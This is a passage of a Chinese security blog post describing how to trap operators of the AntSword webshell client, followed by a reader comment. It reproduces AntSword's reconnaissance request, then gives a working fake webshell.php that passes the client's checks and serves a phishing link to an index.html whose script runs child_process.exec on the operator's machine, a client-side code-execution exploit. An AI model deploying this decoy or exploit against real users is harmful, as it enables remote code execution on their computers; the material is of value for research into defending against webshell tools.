  3. 如果是连通包则发送对应信息使其通过测试
  4. 如果是其他功能包,则返回对应的信息让功能”正常“打开。直至打开虚拟终端上钩。
  5. 远程代码配置上线操作

那么我们需要做的首先就是能欺骗蚁剑

连通请求

蚁剑的连通请求:

1=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
 $oparr=preg_split("/\\\\|\//",$opdir);
 $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
 $tmdir=".cc06e1b50e";
 @mkdir($tmdir);
 @chdir($tmdir);
 @ini_set("open_basedir","..");
 for ($i=0;$i<sizeof($oparr);$i++) {
  @chdir("..");
 }
 @ini_set("open_basedir","/");
 @rmdir($ocwd."/".$tmdir);
}
;
function asenc($out) {
 return $out;
}
;
function asoutput() {
 $output=ob_get_contents();
 ob_end_clean();
 echo "c63f"."aa80";  //校验码一
 echo @asenc($output);
 echo "03b"."b509"; //校验码二
}
ob_start();
try {
 $D=dirname($_SERVER["SCRIPT_FILENAME"]);
 if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
 $R="{$D} ";
 if(substr($D,0,1)!="/") {
  foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
 } else {
  $R.="/";
 }
 $R.=" ";
 $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
 $s=($u)?$u["name"]:@get_current_user();
 $R.=php_uname();
 $R.=" {$s}";
 echo $R;
 ;
}
catch(Exception $e) {
 echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

返回包:

c63faa80D:/phpstudy_pro/WWW C:D:E:F: Windows NT LAPTOP-465G 6.2 build 9200 (Windows 8 Business Edition) i586 USER03bb509

通过返回包可以看出webshell获取了web目录、盘符、系统版本、用户名等信息。在这些信息头尾各有一段随机字符,推测是类似校验码的东西。通过反复抓包确定两段随机字符存在其中一段即可通过校验,其他的内容会被缓存起来供其他功能调用。而校验码在请求包中也能找到。这个时候我们就可以按照要求写出一个可以通过蚁剑客户端校验的”webshell“。

注意 :返回包中的每段信息中间以\t分隔,而不是空格。这点在源码中可以找到,之前因为这个卡了好长时间。

$ze="%echo ([^<]*?).\"([^<]*?);echo @asenc%";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";",'@asenc'], "", $c);
$txt='D:/phpstudy_pro/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t".'administrator';
sleep('2');
echo "$key"."$txt";

开始第二部分,伪造当在虚拟终端中执行命令时蚁剑的数据包。我们要从请求包中提取出一个特征,用来和连通性包做出区分。

$ze="%echo \"([^<]*?).\"([^<]*?)\";%si";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c);

    $payload='http://exp.com/index.html';//远程加载js的页面,代码在文后
    echo "$key".'ret=405'."\n".'数据解码错误,请访问使用文档查询解决方案。AntSword:'."$payload";//输出的钓鱼内容

payload

webshell.php

<?php 
$A=urldecode(file_get_contents("php://input"));

$iscmd="%(.*)127;%si";

if (preg_match($iscmd,$A,$B)!=0) {
    
$ze="%echo ([^<]*?).\"([^<]*?);echo @asenc%";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";",'@asenc'], "", $c);

    $payload='http://127.0.0.1/antSword/index.html';
    sleep('2');
    echo "$key".'ret=405'."\n".'数据解码错误,请访问使用文档查询解决方案。AntSword:'."$payload";
} else {
    
    
$ze="%echo ([^<]*?).\"([^<]*?);echo @asenc%";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";",'@asenc'], "", $c);
$txt='D:/phpstudy_pro/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t".'administrator';
sleep('2');
echo "$key"."$txt";

}



?>

index.html,通过蚁剑的浏览器渲染执行代码

<script type="text/javascript">
	require('child_process').exec('calc');
</script>

最终效果

参考

蚁剑流量分析

对蚁剑的相关改造及分析

端内钓鱼,反制蚁剑

评论

  1. llt
    1月前
    2021-10-17 22:39:54

    膜!!!

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇